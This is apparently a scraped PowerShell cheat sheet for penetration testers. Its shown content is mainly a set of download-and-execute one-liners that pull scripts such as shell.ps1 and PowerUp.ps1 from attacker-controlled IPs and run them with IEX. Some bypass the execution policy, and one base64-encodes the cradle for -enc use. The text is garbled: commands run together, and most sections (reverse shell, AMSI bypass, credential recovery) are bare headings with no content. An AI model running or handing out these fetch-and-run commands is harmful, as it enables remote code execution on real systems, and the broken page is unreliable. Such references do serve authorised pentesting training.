Basic PowerShell for Pentesters
Default PowerShell locations
C:\windows\syswow64\windowspowershell\v1.0\powershellC:\Windows\System32\WindowsPowerShell\v1.0\powershellBasic PS commands to start
Get-Help * Get-Help process Get-Help Get-Item -Full Get-Help Get-Item -Examples Import-Module <modulepath>Get-Command -Module <modulename>Download & Execute
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"iex (iwr '10.10.14.9:8000/ipw.ps1') ​$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(Using b64 from linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0powershell -nop -enc <BASE64_ENCODED_PAYLOAD>Download
System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")Invoke-WebRequest
Wget
BitsTransfer
Base64 Kali & EncodedCommand
Execution Policy
Constrained language
Bypass
Direct bypass:
Reverse shell:
AppLockerPolicy
Enable WinRM (Remote PS)
Antivirus
PS-History
OS version and HotFixes
Environment
Other connected drives
Recycle Bin
Domain Recon
Users
Secure String to Plaintext
SUDO
Groups
Clipboard
Processes
Services
Password from secure string
Scheduled Tasks
Network
Interfaces
Route
ARP
Hosts
Ping
SNMP
AMSI bypass
Last updated
Was this helpful?